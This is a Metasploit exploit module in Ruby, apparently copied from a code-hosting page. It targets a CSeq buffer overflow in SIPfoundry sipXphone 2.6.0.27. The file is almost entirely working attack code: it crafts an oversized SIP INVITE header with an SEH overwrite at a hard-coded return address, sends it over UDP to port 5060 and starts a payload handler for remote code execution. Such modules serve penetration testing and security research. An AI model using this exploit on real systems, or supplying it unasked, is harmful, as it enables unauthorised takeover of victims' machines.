81 lines
2.3 KiB
Ruby
81 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Udp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in SIPfoundry's
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sipXphone 2.6.0.27. By sending an overly long CSeq value,
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a remote attacker could overflow a buffer and execute
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arbitrary code on the system with the privileges of
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the affected application.
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},
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'Author' => 'MC',
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'References' =>
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[
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[ 'CVE', '2006-3524' ],
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[ 'OSVDB', '27122' ],
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[ 'BID', '18906' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 400,
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'BadChars' => "\x00\x0a\x20\x09\x0d",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'SIPfoundry sipXphone 2.6.0.27 Universal', { 'Ret' => 0x08016aac } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jul 10 2006',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(5060)
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])
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end
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def exploit
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connect_udp
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user = rand_text_english(2, payload_badchars)
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port = rand(65535).to_s
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filler = rand_text_english(212, payload_badchars)
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seh = generate_seh_payload(target.ret)
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filler[204, seh.length] = seh
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sploit = "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"
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sploit << "To: <sip:#{rhost}:#{rport}>" + "\r\n"
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sploit << "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"
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sploit << "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"
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sploit << "Call-ID: #{(rand(100)+100)}#{rhost}" + "\r\n"
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sploit << "CSeq: " + filler + "\r\n"
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sploit << "Max-Forwards: 20" + "\r\n"
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sploit << "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"
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print_status("Trying target #{target.name}...")
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udp_sock.put(sploit)
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handler
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disconnect_udp
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end
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end
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